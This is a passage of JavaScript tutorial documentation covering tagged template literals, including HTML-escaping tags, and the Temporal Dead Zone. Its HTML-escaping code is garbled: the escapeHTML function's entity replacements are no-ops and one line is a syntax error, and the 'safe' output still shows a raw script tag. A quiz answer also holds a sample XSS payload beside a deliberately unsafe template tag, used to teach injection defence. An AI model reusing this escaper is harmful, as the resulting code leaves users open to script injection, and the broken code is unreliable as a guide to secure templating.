...values) { const query = strings.reduce((result, str, i) => { return result + str + (values[i] ?? '') }, '') return { kind: 'Document', query: query.trim() } } const query = gql` query GetUser($id: ID!) { user(id: $id) { name email } } ` ``` ### CSS-in-JS Patterns Libraries like Lit use tagged templates for CSS: ```javascript function css(strings, ...values) { return strings.reduce((result, str, i) => { return result + str + (values[i] ?? '') }, '') } const primaryColor = '#007bff' const styles = css` .button { background-color: ${primaryColor}; padding: 10px 20px; border: none; } ` ``` ### Internationalization (i18n) Handle translations with placeholders: ```javascript const translations = { 'en': { greeting: 'Hello, {0}! You have {1} messages.' }, 'es': { greeting: '¡Hola, {0}! Tienes {1} mensajes.' } } function createI18n(locale) { return function(strings, ...values) { // In a real implementation, you'd look up translations by key let result = strings.reduce((acc, str, i) => { return acc + str + (values[i] !== undefined ? `{${i}}` : '') }, '') // Replace placeholders with values values.forEach((value, i) => { result = result.replace(`{${i}}`, value) }) return result } } const t = createI18n('en') console.log(t`Hello, ${'María'}! You have ${3} messages.`) // "Hello, María! You have 3 messages." ``` --- ## Common Mistakes ### Forgetting the Last String The strings array always has one more element than values. Don't forget it: ```javascript // ❌ WRONG - Loses the last string segment function broken(strings, ...values) { return strings.reduce((result, str, i) => { return result + str + values[i] // values[last] is undefined! }, '') } const name = 'Alice' console.log(broken`Hello ${name}!`) // "Hello Aliceundefined" // ✓ CORRECT - Check for undefined function fixed(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? values[i] : '' return result + str + value }, '') } console.log(fixed`Hello ${name}!`) // "Hello Alice!" ``` ### Not Escaping User Input When building HTML, always escape interpolated values: ```javascript function escapeHTML(str) { return str .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, ''') } // ❌ DANGEROUS - XSS vulnerability function unsafeHtml(strings, ...values) { return strings.reduce((result, str, i) => { return result + str + (values[i] ?? '') }, '') } // ✓ SAFE - Escape all values function safeHtml(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? escapeHTML(String(values[i])) : '' return result + str + value }, '') } ``` ### Confusing Tagged and Untagged Behavior Remember that tagged templates call a function. Some syntax doesn't work: ```javascript // ✓ Works - calling console.log as a tag console.log`Hello` // ["Hello"] // ❌ SyntaxError - can't use optional chaining with tagged templates // console?.log`Hello` // SyntaxError // ❌ TypeError - can't chain template literals without a tag // `Hello``World` // TypeError: "Hello" is not a function ``` --- ## TypeScript Template Literal Types TypeScript 4.1+ introduced template literal types, which let you create string types from combinations: ```typescript // Basic template literal type type Greeting = `Hello, ${string}!` const valid: Greeting = 'Hello, World!' // OK // const invalid: Greeting = 'Hi there!' // Error // Combining literal types type Color = 'red' | 'blue' | 'green' type Size = 'small' | 'large' type ColoredSize = `${Size}-${Color}` // "small-red" | "small-blue" | "small-green" | "large-red" | ... ``` This is a compile-time type system feature, separate from runtime tagged templates. --- ## Key Takeaways <Info> **The key things to remember about tagged template literals:** 1. **Tag functions receive strings and values separately.** The first argument is an array of static strings; remaining arguments are interpolated values. 2. **There's always one more string than values.** The template starts and ends with a string (which may be empty). `strings.length === values.length + 1`. 3. **The strings array has a `raw` property.** `strings.raw` contains unprocessed strings where escape sequences are preserved as literal characters. 4. **`String.raw` is the built-in tag.** Use it for file paths and regex patterns to avoid double-escaping backslashes. 5. **Invalid escape sequences are allowed in tagged templates.** The cooked value becomes `undefined`, but `raw` preserves the original text. 6. **Tag functions can return anything.** They don't have to return strings. They can return objects, arrays, functions, or anything else. 7. **Always escape user input in HTML tags.** Tagged templates make it easy to sanitize values while leaving developer-written strings untouched. 8. **Common patterns include HTML escaping, SQL parameterization, and DSLs.** Libraries like GraphQL clients and CSS-in-JS tools are built on tagged templates. 9. **Don't confuse runtime tags with TypeScript template literal types.** TypeScript's feature is compile-time type checking, not runtime string processing. 10. **Remember the syntax: no parentheses.** Call tags with `` tag`template` ``, not `` tag(`template`) ``. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What arguments does a tag function receive?"> **Answer:** A tag function receives: 1. An array of static string literals (the parts between expressions) 2. The evaluated expression values as separate arguments (usually collected with `...values`) ```javascript function tag(strings, ...values) { // strings = array of static string parts // values = array of interpolated expression results } const name = 'Alice' const age = 30 tag`Hello ${name}, you are ${age} years old` // strings: ["Hello ", ", you are ", " years old"] // values: ["Alice", 30] ``` </Accordion> <Accordion title="Question 2: What's the relationship between strings.length and values.length?"> **Answer:** `strings.length` is always exactly `values.length + 1`. This is because: - A template always starts with a string (possibly empty) - Each value is surrounded by strings - A template always ends with a string (possibly empty) ```javascript function count(strings, ...values) { return `${strings.length} strings, ${values.length} values` } count`${1}` // "2 strings, 1 values" count`x${1}y${2}z` // "3 strings, 2 values" count`no values` // "1 strings, 0 values" ``` </Accordion> <Accordion title="Question 3: What's the difference between strings and strings.raw?"> **Answer:** - `strings` contains "cooked" strings where escape sequences are processed (`\n` becomes a newline character) - `strings.raw` contains raw strings where escape sequences are preserved (`\n` stays as backslash-n) ```javascript function compare(strings) { console.log('Cooked:', strings[0]) // Actual newline console.log('Raw:', strings.raw[0]) // Literal "\n" } compare`Line1\nLine2` ``` </Accordion> <Accordion title="Question 4: When would you use String.raw?"> **Answer:** Use `String.raw` when you want escape sequences to remain as literal characters: - **Windows file paths:** `String.raw\`C:\Users\Alice\file.txt\`` - **Regular expressions:** `new RegExp(String.raw\`\d+\.\d+\`)` - **Any text with lots of backslashes** that you don't want interpreted ```javascript // Much cleaner than escaping every backslash const path = String.raw`C:\Users\Alice\Documents` ``` </Accordion> <Accordion title="Question 5: Can a tag function return something other than a string?"> **Answer:** Yes! Tag functions can return anything. This flexibility is what makes them so powerful: ```javascript // Return an array function values(strings, ...vals) { return vals } values`${1}, ${2}, ${3}` // [1, 2, 3] // Return an object function sql(strings, ...vals) { return { query: strings.join('?'), params: vals } } // Return a function (template factory) function template(strings, ...keys) { return (data) => { /* process data */ } } ``` </Accordion> <Accordion title="Question 6: Why is escaping important in HTML tag functions?"> **Answer:** Without escaping, user input containing HTML or script tags could execute malicious code (XSS attack): ```javascript // ❌ Dangerous - user input rendered as HTML const userInput = '<script>stealCookies()</script>' unsafeHtml`<div>${userInput}</div>` // Script could execute! // ✓ Safe - HTML entities are escaped function safeHtml(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? escapeHTML(String(values[i])) : '' return result + str + value }, '') } // Output: <div><script>stealCookies()</script></div> ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What are tagged template literals in JavaScript?"> Tagged template literals let you call a function using a template literal instead of parentheses. The tag function receives the static string parts and interpolated values as separate arguments, giving you complete control over how they are combined. They were introduced in ECMAScript 2015 and power libraries like GraphQL, Lit, and styled-components. </Accordion> <Accordion title="What is String.raw used for in JavaScript?"> `String.raw` is JavaScript's built-in tag function that returns a string without processing escape sequences. It is especially useful for Windows file paths (`String.raw\`C:\Users\Alice\`) and regular expressions (`new RegExp(String.raw\`\d+\.\d+\`)`), eliminating the need to double-escape backslashes. </Accordion> <Accordion title="Can a tag function return something other than a string?"> Yes. Tag functions can return any value — objects, arrays, functions, or even Promises. This flexibility is what makes them powerful for building DSLs. For example, GraphQL's `gql` tag returns a parsed document object, and template factory patterns return reusable functions. </Accordion> <Accordion title="How do tagged templates help prevent XSS attacks?"> Tag functions receive user-provided values separately from developer-written static strings. This separation lets you automatically escape all interpolated values (converting `<` to `<`, etc.) while leaving static HTML untouched. MDN recommends this pattern as a clean approach to building safe HTML templates. </Accordion> <Accordion title="What is the relationship between strings.length and values.length in a tag function?"> There is always exactly one more string than there are values: `strings.length === values.length + 1`. A template always starts and ends with a string (which may be empty), and each interpolated value is surrounded by strings. This predictable structure makes interleaving straightforward. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Modern JS Syntax" icon="wand-magic-sparkles" href="/concepts/modern-js-syntax"> Template literal basics and other ES6+ features </Card> <Card title="Higher-Order Functions" icon="layer-group" href="/concepts/higher-order-functions"> Functions that return functions, like template factories </Card> <Card title="Regular Expressions" icon="code" href="/concepts/regular-expressions"> String.raw is especially useful for regex patterns </Card> <Card title="Error Handling" icon="shield" href="/concepts/error-handling"> Handling errors in tag functions and input validation </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Template literals — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals"> Complete MDN reference covering template literals and tagged templates </Card> <Card title="String.raw() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/raw"> Documentation for JavaScript's built-in tag function </Card> <Card title="Lexical grammar — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#escape_sequences"> How escape sequences work in JavaScript strings </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Template Literals — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/template-literals/"> Covers tagged templates with a practical reusable template factory example. Great for understanding how to build template systems from scratch. </Card> <Card title="ES6 Tagged Template Literals — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/es6-tagged-template-literals-48a70ef3ed4d/"> Explains how function expressions in interpolations enable powerful patterns. Clear examples of why tagged templates are more flexible than regular ones. </Card> <Card title="HTML Templating with ES6 Template Strings — 2ality" icon="newspaper" href="https://2ality.com/2015/01/template-strings-html.html"> Dr. Axel Rauschmayer demonstrates building an HTML template system with automatic escaping. Shows the convention for marking escaped values. </Card> <Card title="ES6 in Depth: Template strings — Mozilla Hacks" icon="newspaper" href="https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/"> Deep technical dive from Mozilla engineers who helped design the feature. Excellent for understanding the design decisions behind tagged templates. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Tagged Template Literals Explained — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=DG4obitDvUA"> Clear beginner-friendly explanation of how tag functions receive their arguments. Perfect starting point if you're new to this feature. </Card> <Card title="Template Literals and Tagged Templates — Fun Fun Function" icon="video" href="https://www.youtube.com/watch?v=c9j0avG5L4c"> MPJ's entertaining deep-dive into tagged templates with practical examples. His explanation of the strings/values relationship is particularly clear. </Card> <Card title="JavaScript ES6 Template Literals — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=kj8HU-_P2NU"> Comprehensive crash course covering both basic and tagged template literals with real-world examples and use cases. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/temporal-dead-zone.mdx ================================================ --- title: "Temporal Dead Zone in JS" sidebarTitle: "Temporal Dead Zone" description: "Learn the Temporal Dead Zone (TDZ) in JavaScript. Understand why let, const, and class throw ReferenceError before initialization, and how TDZ differs from var." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Language Mechanics" "article:tag": "temporal dead zone, let const hoisting, reference error, tdz, block scope, declaration timing" --- Why does this code throw an error? ```javascript console.log(name) // ReferenceError: Cannot access 'name' before initialization let name = "Alice" ``` But this code works fine? ```javascript console.log(name) // undefined (no error!) var name = "Alice" ``` The difference is the **Temporal Dead Zone (TDZ)**. It's a behavior that makes [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let), [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const), and [`class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class) declarations safer than `var` by catching bugs early. <Info> **What you'll learn in this guide:** - What the Temporal Dead Zone is and why it exists - How TDZ affects `let`, `const`, `class`, and default parameters - Why it's called "temporal" (hint: it's about time, not position) - The key differences between TDZ and `var` hoisting - How `typeof` behaves differently in the TDZ - TDZ edge cases in destructuring, loops, and ES modules - Common TDZ pitfalls and how to avoid them </Info> <Warning> **Prerequisite:** This guide assumes you understand [scope and closures](/concepts/scope-and-closures). You should know the difference between global, function, and block scope before diving into TDZ. </Warning> --- ## What is the Temporal Dead Zone? The **Temporal Dead Zone (TDZ)** in JavaScript is the period between entering a scope and the line where a `let`, `const`, or `class` variable is initialized. During this zone, the variable exists but cannot be accessed—any attempt throws a [`ReferenceError`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError). The TDZ prevents bugs by catching accidental use of uninitialized variables. As defined in the [ECMAScript specification](https://tc39.es/ecma262/#sec-let-and-const-declarations), `let` and `const` bindings are created when their containing environment record is instantiated but remain uninitialized until their declaration is evaluated. ```javascript { // TDZ for 'x' starts here (beginning of block) console.log(x) // ReferenceError: Cannot access 'x' before initialization let x = 10 // TDZ for 'x' ends here console.log(x) // 10 (works fine) } ``` The TDZ applies to: - `let` declarations - `const` declarations - `class` declarations - Function default parameters (in certain cases) - Static class fields --- ## The Restaurant Reservation Analogy Think of the TDZ like a restaurant reservation system. When you make a reservation, your table is **reserved** from the moment you call. The table exists, it has your name on it, but you can't sit there yet. If you show up early and try to sit down, the host will stop you: "Sorry, your table isn't ready." The table becomes available only when your reservation time arrives. Then you can sit, order, and enjoy your meal. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE TEMPORAL DEAD ZONE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ { // You enter the restaurant (scope begins) │ │ │ │ ┌──────────────────────────────────────────────┐ │ │ │ TEMPORAL DEAD ZONE FOR 'x' │ │ │ │ │ │ │ │ Table reserved, but NOT ready yet │ │ │ │ │ │ │ │ console.log(x); // "Table isn't ready!" │ │ │ │ // ReferenceError │ │ │ │ │ │ │ └──────────────────────────────────────────────┘ │ │ │ │ let x = 10; // Reservation time! Table is ready. │ │ │ │ console.log(x); // "Here's your table!" → 10 │ │ │ │ } │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Variables in the TDZ are like reserved tables: they exist, JavaScript knows about them, but they're not ready for use yet. --- ## TDZ vs var Hoisting Both `var` and `let`/`const` are **hoisted**, meaning JavaScript knows about them before code execution. The difference is in **initialization**: | Aspect | `var` | `let` / `const` | |--------|-------|-----------------| | Hoisted? | Yes | Yes | | Initialized at hoisting? | Yes, to `undefined` | No (remains uninitialized) | | Access before declaration? | Returns `undefined` | Throws `ReferenceError` | | Has TDZ? | No | Yes | ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ var vs let/const HOISTING │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ VAR: Hoisted + Initialized LET/CONST: Hoisted Only │ │ ────────────────────────── ──────────────────────── │ │ │ │ ┌─────────────────────┐ ┌─────────────────────┐ │ │ │ // JS does this: │ │ // JS does this: │ │ │ │ var x = undefined │ ← ready │ let y (uninitialized)│ ← TDZ │ │ └─────────────────────┘ └─────────────────────┘ │ │ │ │ │ │ ▼ ▼ │ │ console.log(x) // undefined console.log(y) // Error! │ │ │ │ │ │ ▼ ▼ │ │ var x = 10 // reassignment let y = 10 // initialization │ │ │ │ │ │ ▼ ▼ │ │ console.log(x) // 10 console.log(y) // 10 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Here's the behavior in code: ```javascript function varExample() { console.log(x) // undefined (not an error!) var x = 10 console.log(x) // 10 } function letExample() { console.log(y) // ReferenceError: Cannot access 'y' before initialization let y = 10 console.log(y) // never reaches here } ``` --- ## Why "Temporal"? The word "temporal" means **related to time**. The TDZ is "temporal" because it depends on **when code executes**, not where it appears in the source. MDN documents this distinction explicitly: the zone is defined by the execution flow, not the lexical position of the code. This is a subtle but important distinction. Look at this example: ```javascript { // TDZ for 'x' starts here const getX = () => x // This function references x let x = 42 // TDZ ends here console.log(getX()) // 42 - works! } ``` Wait, the function `getX` is defined *before* `x` is initialized. Why doesn't it throw an error? Because the TDZ is about **execution time**, not **definition time**: 1. The function `getX` is **defined** during the TDZ, but that's fine 2. The function `getX` is **called** after `x` is initialized 3. When `getX()` runs, `x` is already available The TDZ only matters when you actually try to **access** the variable. Defining a function that *will* access it later is perfectly safe. ```javascript { const getX = () => x // OK: just defining, not accessing getX() // ReferenceError! Calling during TDZ let x = 42 getX() // 42 - now it works } ``` --- ## What Creates a TDZ? <AccordionGroup> <Accordion title="let declarations"> Every `let` declaration creates a TDZ from the start of its block until the declaration: ```javascript { // TDZ starts console.log(x) // ReferenceError let x = 10 // TDZ ends console.log(x) // 10 } ``` </Accordion> <Accordion title="const declarations"> Same behavior as `let`, but `const` must also be initialized at declaration: ```javascript { // TDZ starts console.log(PI) // ReferenceError const PI = 3.14159 // TDZ ends console.log(PI) // 3.14159 } ``` </Accordion> <Accordion title="class declarations"> Classes behave like `let` and `const`. You can't use a class before its declaration: ```javascript const instance = new MyClass() // ReferenceError class MyClass { constructor() { this.value = 42 } } const instance2 = new MyClass() // Works fine ``` This applies to class expressions too when assigned to `let` or `const`. </Accordion> <Accordion title="Function default parameters"> Default parameters have their own TDZ rules. Later parameters can reference earlier ones, but not vice versa: ```javascript // Works: b can reference a function example(a = 1, b = a + 1) { return a + b // 1 + 2 = 3 } // Fails: a cannot reference b (TDZ!) function broken(a = b, b = 2) { return a + b // ReferenceError } ``` </Accordion> <Accordion title="Static class fields"> Static fields are initialized in order. Later fields can reference earlier ones, but referencing later fields returns `undefined` (not TDZ, since it's property access): ```javascript class Config { static baseUrl = "https://api.example.com" static apiUrl = Config.baseUrl + "/v1" // Works } class Example { static first = Example.second // undefined (property doesn't exist yet) static second = 10 } // Example.first is undefined, Example.second is 10 ``` However, the class itself is in TDZ before its declaration: ```javascript const x = MyClass.value // ReferenceError: MyClass is in TDZ class MyClass { static value = 10 } ``` </Accordion> </AccordionGroup> --- ## TDZ with typeof Here's a tricky edge case. The `typeof` operator is normally "safe" to use with undeclared variables: ```javascript console.log(typeof undeclaredVar) // "undefined" (no error) ``` But `typeof` throws a ReferenceError when used on a TDZ variable: ```javascript { console.log(typeof x) // ReferenceError: Cannot access 'x' before initialization let x = 10 } ``` This catches developers off guard because `typeof` is often used for "safe" variable checking. With `let` and `const`, that safety doesn't apply during the TDZ. <Tip> **Rule of Thumb:** If you need to check whether a variable exists, don't rely on `typeof` alone. Structure your code so variables are declared before you need to check them. </Tip> --- ## TDZ in Destructuring Destructuring follows the same left-to-right evaluation as default parameters: ```javascript // Works: b can use a's default let { a = 1, b = a + 1 } = {} console.log(a, b) // 1, 2 // Fails: a cannot use b (TDZ!) let { a = b, b = 1 } = {} // ReferenceError ``` Self-referencing is also a TDZ error: ```javascript let { x = x } = {} // ReferenceError: Cannot access 'x' before initialization ``` The `x` on the right side of `=` refers to the `x` being declared, which is still in the TDZ. --- ## TDZ in Loops ### for...of and for...in Self-Reference The loop variable is in TDZ during header evaluation: ```javascript // This throws because 'n' is used in its own declaration for (let n of n.values) { // ReferenceError console.log(n) } ``` ### Fresh Bindings Per Iteration A key `let` behavior in loops: each iteration gets a **fresh binding**: ```javascript const funcs = [] for (let i = 0; i < 3; i++) { funcs.push(() => i) } console.log(funcs[0]()) // 0 console.log(funcs[1]()) // 1 console.log(funcs[2]()) // 2 ``` With `var`, all closures share the same variable: ```javascript const funcs = [] for (var i = 0; i < 3; i++) { funcs.push(() => i) } console.log(funcs[0]()) // 3 console.log(funcs[1]()) // 3 console.log(funcs[2]()) // 3 ``` This fresh binding is why `let` in loops avoids the classic closure trap. --- ## TDZ in ES Module Circular Imports ES modules can import each other in a circle. When this happens, TDZ can cause runtime errors that are hard to debug. ### The Problem ```javascript // -- a.js (entry point) -- import { b } from "./b.js" console.log("a.js: b =", b) // 1 export const a = 2 ``` ```javascript // -- b.js -- import { a } from "./a.js" console.log("b.js: a =", a) // ReferenceError! export const b = 1 ``` ### What Happens <Steps> <Step title="Start executing a.js"> JavaScript begins running the entry module </Step> <Step title="Pause for import"> It sees `import { b } from "./b.js"` and pauses `a.js` to load the dependency </Step> <Step title="Execute b.js"> JavaScript loads and starts executing `b.js` </Step> <Step title="Create binding to a"> In `b.js`, the `import { a }` creates a binding to `a`, but `a.js` hasn't exported it yet </Step> <Step title="Access a in TDZ"> When `b.js` tries to `console.log(a)`, the variable `a` is still in TDZ (not yet initialized) </Step> <Step title="ReferenceError!"> The TDZ violation throws an error, crashing the application </Step> </Steps> ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ ES MODULE CIRCULAR IMPORT TDZ │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ EXECUTION ORDER │ │ ─────────────── │ │ │ │ 1. Start a.js │ │ │ │ │ ▼ │ │ 2. import { b } from "./b.js" ──────┐ │ │ [a.js pauses, a not yet exported] │ │ │ ▼ │ │ 3. Start b.js │ │ │ │ │ ▼ │ │ 4. import { a } from "./a.js" │ │ [a exists but in TDZ!] │ │ │ │ │ ▼ │ │ 5. console.log(a) │ │ │ │ │ ▼ │ │ ReferenceError! │ │ a is in TDZ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Solutions **Solution 1: Lazy Access** Don't access the imported value at the top level. Access it inside a function that runs later: ```javascript // -- b.js (fixed) -- import { a } from "./a.js" // Don't access 'a' immediately export const b = 1 // Access 'a' later, when it's definitely initialized export function getA() { return a } ``` **Solution 2: Restructure Modules** Break the circular dependency by extracting shared code: ```javascript // -- shared.js -- export const a = 2 export const b = 1 // -- a.js -- import { a, b } from "./shared.js" // -- b.js -- import { a, b } from "./shared.js" ``` **Solution 3: Dynamic Import** Use `import()` to defer loading: ```javascript // -- b.js -- export const b = 1 export async function getA() { const { a } = await import("./a.js") return a } ``` <Warning> **Circular Import Debugging Tip:** If you see a `ReferenceError` for an imported value that you *know* exists, check for circular imports. The error message "Cannot access 'X' before initialization" is the telltale sign of TDZ in modules. </Warning> --- ## The #1 TDZ Mistake: Shadowing The most common TDZ trap involves variable shadowing: ```javascript // ❌ WRONG - Shadowing creates a TDZ trap const x = 10 function example() { console.log(x) // ReferenceError! Inner x is in TDZ let x = 20 // This shadows the outer x return x } example() // ReferenceError! ``` The inner `let x` shadows the outer `const x`. When you try to read `x` before the inner declaration, JavaScript sees you're trying to access the inner `x` (which is in TDZ), not the outer one. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ TDZ SHADOWING TRAP │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ WRONG RIGHT │ │ ───── ───── │ │ │ │ const x = 10 const x = 10 │ │ │ │ function broken() { function fixed() { │ │ console.log(x) // TDZ Error! const outer = x // 10 │ │ let x = 20 let y = 20 // different name│ │ return x return outer + y │ │ } } │ │ │ │ // The inner x shadows the outer // No shadowing, no TDZ trap │ │ // but inner x is in TDZ at log │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### How to Avoid It 1. **Use different variable names** if you need both the outer and inner values 2. **Capture the outer value first** before declaring the inner variable 3. **Structure code so declarations come before usage** ```javascript // ✓ CORRECT - Capture outer value before shadowing const x = 10 function fixed() { const outerX = x // Capture outer x first let y = 20 // Use different name, no shadowing return outerX + y // Use both: 10 + 20 = 30 } ``` --- ## Why Does TDZ Exist? TDZ might seem like an annoyance, but it exists for good reasons. According to the TC39 committee notes on ES6 development, the TDZ was introduced specifically to make `let` and `const` safer alternatives to `var` by catching common programming mistakes at the point of error rather than letting them propagate silently: ### 1. Catches Bugs Early With `var`, using a variable before initialization silently gives you `undefined`: ```javascript function calculateTotal() { var total = price * quantity // undefined * undefined = NaN var price = 10 var quantity = 5 return total } console.log(calculateTotal()) // NaN - silent bug! ``` With `let`/`const`, the bug is caught immediately: ```javascript function calculateTotal() { let total = price * quantity // ReferenceError! let price = 10 let quantity = 5 return total } ``` ### 2. Makes const Semantically Meaningful If `const` didn't have a TDZ, you could observe it in an "undefined" state: ```javascript // Hypothetically, without TDZ: console.log(PI) // undefined (?) const PI = 3.14159 ``` That contradicts the purpose of `const`. A constant should always have its declared value. The TDZ ensures you can never see a `const` before it has its assigned value. ### 3. Prevents Reference Before Definition In languages without TDZ-like behavior, you can accidentally use variables in confusing ways: ```javascript function setup() { initialize(config) // Uses config before it's defined const config = loadConfig() } ``` The TDZ forces you to organize code logically: definitions before usage. ### 4. Makes Refactoring Safer When you move code around, TDZ helps catch mistakes: ```javascript // Original let data = fetchData() processData(data) // After refactoring (accidentally moved) processData(data) // ReferenceError - you'll notice immediately! let data = fetchData() ``` <Tip> **Think of TDZ as your friend.** It's JavaScript telling you "Hey, you're trying to use something that isn't ready yet. Fix your code structure!" </Tip> --- ## Key Takeaways <Info> **The key things to remember about the Temporal Dead Zone:** 1. **TDZ = the time between scope entry and variable initialization.** During this period, the variable exists but throws `ReferenceError` when accessed. 2. **`let`, `const`, and `class` have TDZ. `var` does not.** The `var` keyword initializes to `undefined` immediately, so there's no dead zone. 3. **"Temporal" means time, not position.** A function can reference a TDZ variable if it's called after initialization, even if it's defined before. 4. **`typeof` is not safe in TDZ.** Unlike undeclared variables, `typeof` on a TDZ variable throws `ReferenceError`. 5. **Default parameters have TDZ rules.** Later parameters can reference earlier ones, but not vice versa. 6. **Circular ES module imports can trigger TDZ.** If module A imports from B while B imports from A, one will see uninitialized exports. 7. **Shadowing + TDZ = common trap.** When you declare a variable that shadows an outer one, the outer variable becomes inaccessible from the TDZ start. 8. **TDZ catches bugs early.** It prevents silent `undefined` values from causing hard-to-debug issues. 9. **TDZ makes `const` meaningful.** Constants never have a temporary "undefined" state. 10. **Structure code with declarations first.** This is the simplest way to avoid TDZ issues entirely. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What is the Temporal Dead Zone?"> **Answer:** The Temporal Dead Zone (TDZ) is the period between entering a scope and the point where a variable declared with `let`, `const`, or `class` is initialized. During this period, the variable exists (it's been hoisted) but cannot be accessed. Any attempt to read or write to it throws a `ReferenceError`. ```javascript { // TDZ starts here for 'x' console.log(x) // ReferenceError let x = 10 // TDZ ends here console.log(x) // 10 } ``` </Accordion> <Accordion title="Question 2: What's the difference between TDZ and var hoisting?"> **Answer:** Both `var` and `let`/`const` are hoisted, but they differ in initialization: - **`var`**: Hoisted AND initialized to `undefined`. No TDZ. - **`let`/`const`**: Hoisted but NOT initialized. TDZ until declaration. ```javascript console.log(x) // undefined (var is initialized) var x = 10 console.log(y) // ReferenceError (let is in TDZ) let y = 10 ``` </Accordion> <Accordion title="Question 3: Why does typeof throw in TDZ but not for undeclared variables?"> **Answer:** For **undeclared** variables, `typeof` returns `"undefined"` as a safety feature. For **TDZ** variables, JavaScript knows the variable exists (it's been hoisted), so it enforces the TDZ restriction. ```javascript console.log(typeof undeclared) // "undefined" (safe) { console.log(typeof x) // ReferenceError (TDZ enforced) let x = 10 } ``` The difference is: undeclared means "doesn't exist," while TDZ means "exists but not ready." </Accordion> <Accordion title="Question 4: Can a function reference a TDZ variable?"> **Answer:** **Yes, but only if the function is called after the variable is initialized.** Defining the function during TDZ is fine. Calling it during TDZ throws an error. ```javascript { const getX = () => x // OK: defining, not accessing // getX() // Would throw: x is in TDZ let x = 42 // TDZ ends console.log(getX()) // 42: called after TDZ } ``` This is why it's called "temporal" (time-based), not "positional" (code-position-based). </Accordion> <Accordion title="Question 5: What happens with let x = x?"> **Answer:** It throws a `ReferenceError`. The `x` on the right side refers to the `x` being declared, which is still in TDZ at the time of evaluation. ```javascript let x = x // ReferenceError: Cannot access 'x' before initialization ``` This also applies in destructuring: ```javascript let { x = x } = {} // ReferenceError ``` </Accordion> <Accordion title="Question 6: Why does TDZ exist?"> **Answer:** TDZ exists for several reasons: 1. **Catch bugs early**: Using uninitialized variables throws immediately instead of silently returning `undefined` 2. **Make `const` meaningful**: Constants should always have their declared value, never a temporary `undefined` 3. **Enforce logical code structure**: Encourages declaring variables before using them 4. **Safer refactoring**: Moving code around reveals dependency issues immediately ```javascript // Without TDZ (var), this bug is silent: var total = price * quantity // NaN var price = 10 var quantity = 5 // With TDZ (let), the bug is caught: let total = price * quantity // ReferenceError! let price = 10 let quantity = 5 ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the Temporal Dead Zone in JavaScript?"> The Temporal Dead Zone (TDZ) is the period between entering a scope and reaching the declaration of a `let`, `const`, or `class` variable. During this window, the variable exists but any access throws a `ReferenceError`. MDN describes it as the zone where bindings are "created but not yet initialized." </Accordion> <Accordion title="Does typeof work safely in the Temporal Dead Zone?"> No. Unlike undeclared variables where `typeof` safely returns `"undefined"`, using `typeof` on a TDZ variable throws a `ReferenceError`. This is because the JavaScript engine knows the variable exists (it was hoisted) but enforces the TDZ restriction. The ECMAScript specification explicitly requires this behavior for `let` and `const` bindings. </Accordion> <Accordion title="Is the Temporal Dead Zone based on code position or execution time?"> It is based on execution time, which is why it is called "temporal." A function defined during the TDZ can reference a TDZ variable safely, as long as the function is called after the variable is initialized. MDN documents this distinction: the zone depends on the order of execution, not the order of code. </Accordion> <Accordion title="How does TDZ affect circular ES module imports?"> When two modules import each other, one will execute before the other has finished its exports. If module B tries to access an exported `const` from module A before A has reached that declaration, it triggers a TDZ `ReferenceError`. The fix is to access the import lazily inside a function rather than at the top level. </Accordion> <Accordion title="Can you avoid the Temporal Dead Zone?"> The simplest way to avoid TDZ issues is to always declare variables at the top of their scope before using them. The TDZ is a feature, not a bug — the 2023 Stack Overflow Developer Survey shows that over 87% of JavaScript developers prefer `let` and `const` over `var`, accepting the TDZ trade-off for safer code. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Scope and Closures" icon="layer-group" href="/concepts/scope-and-closures"> The foundation for understanding TDZ: how JavaScript determines variable visibility </Card> <Card title="Hoisting" icon="arrow-up" href="/beyond/concepts/hoisting"> How JavaScript moves declarations to the top of their scope </Card> <Card title="ES Modules" icon="boxes-stacked" href="/concepts/es-modules"> How TDZ interacts with circular module imports </Card> <Card title="Strict Mode" icon="shield" href="/beyond/concepts/strict-mode"> Another feature that helps catch errors early </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> 